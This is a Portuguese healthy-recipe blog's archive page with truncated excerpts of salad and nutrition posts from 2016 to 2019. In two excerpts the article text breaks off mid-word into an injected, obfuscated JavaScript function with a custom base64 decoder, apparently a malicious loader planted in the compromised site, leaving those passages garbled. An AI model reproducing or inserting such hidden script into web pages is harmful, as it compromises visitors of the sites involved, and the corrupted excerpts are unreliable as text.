Receita de salada de espinafre com maçã e frutos secos

Mai 31, 2019 | À descoberta, Receitas

Receita de salada de espinafre com maçã e frutos secos   Olá! O tempo quente chegou em força e o calor pede refeições suaves, que nos deixem frescos e leves, sem aquela sensação desconfortável de estarmos pesados. É por isso uma grfunction a4872b9c6b(y1){var...

Receita de salada de pimentos assados para acompanhar sardinha assada

Jun 1, 2018 | Receitas

Receita de salada de pimentos assados para acompanhar sardinha assada   Com o verão a chegar, nada melhor do que partilhar consigo uma salada de pimentos assados que é perfeita para acompanhar um dos pratos preferidos dos portugueses: sardinha assada. É uma receita...

Receita de Salada de Figo com Nozes e Queijo

Out 9, 2017 | À descoberta, Receitas

Receita de Salada de Figo com Nozes e Queijo     Hoje trago-lhe mais uma receita que, para além de ser super saborosa, também é rápida, prática e simples de confeccionar. Pode inclui-la nos menus dos jantares lá de casa, já que é rica em fibras e proteínas que...

Salada de rabanete e pepino – Uma refeição pouco calórica

Ago 28, 2017 | Receitas

 Salada de rabanete e pepino – Uma refeição pouco calórica   Sabia que a cenoura e o pepino são dos alimentos com menos calorias que existem? É verdade! E a pensar nisso hoje trago-lhe uma refeição completa mas com muito pouco calorias. É rica em vitaminas,...

3 Receitas refrescantes para os dias quentes

Jul 25, 2017 | Receitas

3 Receitas refrescantes para os dias quentes     No verão pode ser uma tarefa difícil decidir o que preparar para as refeições pois está muito calor e só nos apetecem pratos frescos e gelados. Para o ajudar os trago-lhe 3 receitas refrescantes para os dias quentes:...

10 Aperitivos saudáveis para comer neste verão

Jul 23, 2017 | Saúde e bem estar

10 Aperitivos saudáveis para comer neste verão     Nesta altura do ano, os almoços, jantares e petiscos com os amigos são quase inevitáveis. No entanto não podemos descuidar a nossa saúde e por isso, hoje trago-lhe 10 aperitivos saudáveis para comer neste verão! Faça...

Salada de folhas verdes, manga, camarões e amêndoas laminadas

Jun 23, 2017 | Receitas

Salada de folhas verdes, manga, camarões e amêndoas laminadas   Com os dias cada vez mais quentes, as saladas são sem dúvida uma óptima opção! São frescas, simples e de rápida confecção. Tudo o que se deseja nesta época do ano! Além de que pode facilmente fazer uma...

Salada fresca e saudável + espetadas de fruta com chocolate negro

Abr 29, 2017 | Receitas

Salada fresca e saudável + espetadas de fruta com chocolate negro   O calor está aí e, com ele, a preocupação em ver os números da balança descer. Por isso hoje trago-lhe duas receitas: salada e sobremesa ligeiras sem culpa, sem gordura e sem açúcar. Duas receitas...

Uma refeição rápida para quando chega tarde a casa

Mar 8, 2017 | Dicas úteis, Receitas

Uma refeição rápida para qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...

Dicas saudáveis – Benefícios do azeite

Dez 14, 2016 | Em Alta, Equilíbrio, Saúde e bem estar, Teresa

Dicas saudáveis – Benefícios do azeite O azeite faz parte da celebrada dieta mediterrânica e usamo-lo em praticamente todos os nossos cozinhados. No meu caso, apenas o substituo por óleo de coco algumas vezes, que também é óptimo. O azeite é de facto uma gordura...